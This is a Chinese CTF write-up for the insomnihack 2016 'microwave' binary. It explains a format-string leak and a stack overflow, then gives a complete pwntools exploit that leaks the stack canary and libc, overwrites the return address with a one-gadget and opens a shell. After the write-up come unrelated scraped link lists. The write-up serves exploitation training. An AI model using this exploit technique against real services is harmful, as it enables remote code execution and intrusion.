insomnihack CTF 2016-microwave
程序基本信息

程序防护全开,shellcode修改got表等方法都不太可行,同时pie开启也使程序代码随机化了。
程序漏洞
这是一个发推特的程序,具体功能不在这里细说,这个程序有两个漏洞:
一个是存在在功能1中的格式化字符串漏洞,在函数sub_55D83D2C4F00中

通过分析可以发现,a1是我们输入的值,所以这里我们可以输入格式化字符串泄露栈上的地址
第二个是存在在功能2中的栈溢出漏洞,在函数sub_55D832C5000中

由于这个函数的调用没有靠传统的rbp,而是靠sub rsp与add rsp来分配回收栈帧的,所以溢出字节数需要自己测算一下
整体思路
由于程序给了libc,我们用one gadget工具看看可以跳转到那些地址能get shell

我们可以选用第一个,只要让返回地址返回到内存中gadget位置即可(需要注意控制rax的值为0)。
找到getshell的方法后,我们的思路就很清晰了,首先我们输入构造好的格式化字符串和password(程序中能找到),泄露栈上的libc中stdin的地址,然后减去stdin在libc中的偏移再加上0x45526就能得到gadget在内存中的起始地址,然后调用有栈溢出的函数,让返回地址指向gadget,就能成功pwn掉程序get shell
exp脚本
from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote('172.17.0.2', 10001)
io.sendline('1') #使用功能1触发格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密码硬编码在程序中,可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.')
leak_libc = int(leak_data[7], 16) #通过调试可知,stdin在printf的第8个参数
one_gadget_addr = leak_libc - 0x3c26f0 + 0x45526 #计算one gadget RCE地址(0x3c26f0和0x45526分别为stdin跟gadget在libc中的偏移)
canary = int(leak_data[5], 16) #通过调试可知,canary在printf的第6个参数
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))
payload = "A"*1032 #padding
payload += p64(canary) #正确的canary,canary在栈上与返回地址有8个字节的差距
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE
io.sendline('2') #使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)
sleep(0.5)
io.interactive()
内容参考
insomnihack CTF 2016-microwave的更多相关文章
- Sharif University CTF 2016 -- Login to System (PWN 200)
EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...
- Sharif University CTF 2016 - Smooth As Silk
Category: Crypto Points: 200 Solves: 11 Description: p > q n = p*q = 1146153281852525177586999436 ...
- Sharif University CTF 2016 -- Android App
很多种的方案: 方案 A: 直接逆向读代码方案 B: 解包,加入debug信息,重新打包,动态调试方案 C: 解包,改代码加入log.i整出flag, 去掉MainActivity里面d=什么也可以, ...
- H4CK1T CTF 2016 Mexico-Remote pentest writeup
进去网站之后发现连接都是包含类型的,就能想到文件包含漏洞(话说刚总结过就能遇到这题,也算是复习啦) 这里用php://filter/read=convert.base64-encode/resourc ...
- Asis CTF 2016 b00ks理解
---恢复内容开始--- 最近在学习堆的off by one,其中遇到这道题,萌新的我弄了大半天才搞懂,网上的很多wp都不是特别详细,都得自己好好调试. 首先,这题目是一个常见的图书馆管理系统,虽然我 ...
- CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 引言:CTF新世界
1. CTF的昨天和今天 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客 ...
- 萌新带你开车上p站(番外篇)
本文由“合天智汇”公众号首发,作者:萌新 前言 这道题目应该是pwnable.kr上Toddler's Bottle最难的题目了,涉及到相对比较难的堆利用的问题,所以拿出来分析. 登录 看看源程序 程 ...
随机推荐
- eval函数和isNaN函数
(一)eval函数定义:eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码. (二)语法:eval(string)string必需. (三)返回值:通过计算 string ...
- 通过DB13备份SystemDB
配置systemdb capital user name:SYSTEM save -back Save 现在可以通过DB13备份SystemDB Done. Congratulations!
- SQL SERVER-孤立用户
--SQL SERVER用户管理分为两层,实例级的login和数据库级的用户 --login的SID和数据库用户的SID必须一样才行 --数据库搬迁login在重建时生成新的sid,与原来数据库的用户 ...
- 运维开发笔记整理-QueryDict对象
运维开发笔记整理-QueryDict对象 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 客户端发送数据请求有很多种,相信运维人员已经很清楚了,如果不太清楚的话可以参考我之前的学习笔 ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
- ubuntu安装anaconda3+tensorflow(cpu)+pycharm(windows几乎一样)
网上乱七八糟有的都是别人怎么写自己也怎么写,其实很简单. 首先是anaconda3的安装: 直接上官网:https://www.anaconda.com/download/ 下载下来之后进入文件所在目 ...
- unity之龙骨动画
推荐阅读: 我的CSDN 我的博客园 QQ群:704621321 我的个人博客 做游戏有史以来,第一次接触到龙骨动画,为新人引个路吧. (1)首先拿到美术给我三个文件,分别是name_ske. ...
- 2016年第六届蓝桥杯C/C++程序设计本科B组决赛 ——一步之遥(填空题题)
一步之遥 从昏迷中醒来,小明发现自己被关在X星球的废矿车里.矿车停在平直的废弃的轨道上.他的面前是两个按钮,分别写着“F”和“B”. 小明突然记起来,这两个按钮可以控制矿车在轨道上前进和后退.按F,会 ...
- MySQL 新建用户并赋予权限
创建一个用户: create user 'oukele'@'%' identified by 'oukele'; 提示下面所列出的信息的话,得刷新一下权限表 The MySQL server is r ...
- 分布式版本控制工具Git
一.Git技术简介 Git是一个分布式版本控制系统,与集中式的SVN不同. 1. 主要特点 集中式特点: 所有人的资源全部保存在中央服务器. 所有人开发前都需要从中央服务器上下载同步其他人的代码才能继 ...